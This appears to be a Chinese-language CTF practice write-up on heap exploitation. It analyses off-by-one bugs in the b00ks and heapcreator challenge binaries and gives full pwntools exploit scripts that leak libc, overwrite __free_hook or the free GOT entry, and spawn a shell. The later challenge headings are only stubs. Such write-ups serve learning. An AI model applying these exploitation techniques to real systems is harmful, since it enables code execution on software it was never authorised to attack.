heap_practice
off_by_one
Asis_2016_b00ks
checksec

64位,除了canary其他保护全开
ida
main函数
是一个menu
create函数

上图是创建一个book的过程分析可得有三个chunk和一个struct,三个chunk分别是book_name,description,book_ctrl。struct是书的结构包含book_id,name_ptr,descrption_ptr,description_size
1 2 3 4 5 6 7
| struct book { int book_id; char* name_ptr; char* description_ptr; int description_size; }
|

三个chunk的结构如下
delete函数

主要是free三个chunk
漏洞

程序自己实现了一个read函数,但是其中存在off_by_one漏洞
函数中
会将最后一个’\x0a’替换为’\x00’
可以看到author_name指向bss段的0x20长度的位置,偏移为0x2020400x20205F。紧接着是book_order_arry指向的是0x2020600x2020FF储存的是book的指针。


当i == number时,\x00会放在0x202060,那么book_order_arry写入book的指针时会将\x00覆写,此时执行show函数时会将book_ptr输出。

程序提供了设置author_name的函数这样可以利用off_by_null将\x00覆盖到book_order_arry的指针的低字节,即从0x0000555555603710到0x0000555555603700,
思路
创建 2 个 book,通过off_by_one,使得 book1_ctrl 指针指向 book1_description 中;然后在book1_description 中伪造一个 fake_book1_ctrl,使得其中的 book1_description_ptr 指向 book2_description_ptr;通过先后修改 book1_description 和 book2_description,从而实现任意地址写任意内容的功能。book2 的 description 的大小越大越好 ,这样会通过 mmap () 函数去分配堆空间,而该堆地址与 libc 的基址相关,这样通过泄露该堆地址可以计算出 libc 的基址。
利用

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process('./b00ks') elf = ELF('./b00ks') libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def createbook(name_size,name,des_size,des): io.readuntil(b"> ") io.sendline(b"1") io.readuntil(b": ") io.sendline(str(name_size)) io.readuntil(b": ") io.sendline(name) io.readuntil(b": ") io.sendline(str(des_size)) io.readuntil(b": ") io.sendline(des)
def printbook(id): io.readuntil(b"> ") io.sendline(b"4") io.readuntil(b": ") for i in range(id): book_id=int(io.readline()[:-1]) io.readuntil(b": ") book_name=io.readline()[:-1] io.readuntil(b": ") book_des=io.readline()[:-1] io.readuntil(b": ") book_author=io.readline()[:-1] return book_id,book_name,book_des,book_author
def createname(name): io.readuntil(b"name: ") io.sendline(name)
def changename(name): io.readuntil(b"> ") io.sendline(b"5") io.readuntil(b": ") io.sendline(name)
def editbook(book_id,new_des): io.readuntil(b"> ") io.sendline(b"3") io.readuntil(b": ") io.writeline(str(book_id)) io.readuntil(b": ") io.sendline(new_des)
def deletebook(book_id): io.readuntil(b"> ") io.sendline(b"2") io.readuntil(b": ") io.sendline(str(book_id)) createname(b"A"*32) createbook(32,b"a",140,b"a") createbook(0x21000,b"a",0x21000,b"b")
book_id_1,book_name,book_des,book_author=printbook(1) book1_addr=u64(book_author[32:32+6].ljust(8,b'\x00')) log.success("book1_address:"+hex(book1_addr))
payload = b'a'*0x10 + p64(1) + p64(book1_addr+0x38) + p64(book1_addr+0x40) + p64(0xffff) editbook(book_id_1,payload) changename(b"A"*32) book_id_1,book_name,book_des,book_author=printbook(1) book2_name_addr=u64(book_name.ljust(8,b"\x00")) book2_des_addr=u64(book_des.ljust(8,b"\x00")) log.success("book2 name addr:"+hex(book2_name_addr)) log.success("book2 des addr:"+hex(book2_des_addr)) libc_base=book2_des_addr-0x22010 log.success("libc base:"+hex(libc_base))
free_hook=libc_base+libc.symbols["__free_hook"] one_gadget=libc_base+0x4f322 log.success("free_hook:"+hex(free_hook)) log.success("one_gadget:"+hex(one_gadget)) editbook(1,p64(free_hook)*2) editbook(2,p64(one_gadget))
deletebook(2) io.interactive()
|
2015_plaidctf_datastore
checksec

64位程序,保护全开
chunk-extend-shrink
hitcontraning_lab13
checksec

64位操作系统,开启了canary和nx
ida
自定义的堆分配器,每个堆主要有两个成员:大小与内容指针
edit

在这个函数中对content重写时size + 1这里存在off_by_one漏洞
动调

结构如上

利用edit的off_by_one漏洞可以对next_chunk进行修改,达到heaparry和heap指针的互换
修改前

修改后


exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process('./heapcreator') elf = ELF('./heapcreator') libc = ELF('./libc.so.6')
def create(size, content): io.recvuntil(b':') io.sendline(b'1') io.recvuntil(b':') io.sendline(str(size).encode()) io.recvuntil(b':') io.sendline(content)
def edit(index, content): io.recvuntil(b':') io.sendline(b'2') io.recvuntil(b':') io.sendline(str(index).encode()) io.recvuntil(b':') io.sendline(content)
def show(index): io.recvuntil(b':') io.sendline(b'3') io.recvuntil(b':') io.sendline(str(index).encode())
def delete(index): io.recvuntil(b':') io.sendline(b'4') io.recvuntil(b':') io.sendline(str(index).encode())
free_got = elf.got['free'] create(0x18, b'aaaa') create(0x10, b'bbbb') edit(0, b'/bin/sh\x00' + b'a' * 0x10 + b'\x41')
delete(1) create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got))
show(1) io.recvuntil(b'Content : ') data = io.recvuntil(b'Done !') free_addr = u64(data.split(b'\n')[0].ljust(8, b'\x00')) libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] edit(1, p64(system_addr)) delete(0) io.interactive()
|
fastbin_attack
2014 hack.lu oreo
checksec

32位程序,开启了Canary和NX保护
ida
步枪的基本结构如下

2015 9447 CTF : Search Engine
checksec

64位程序,除了PIE其他保护全开
ida + gdb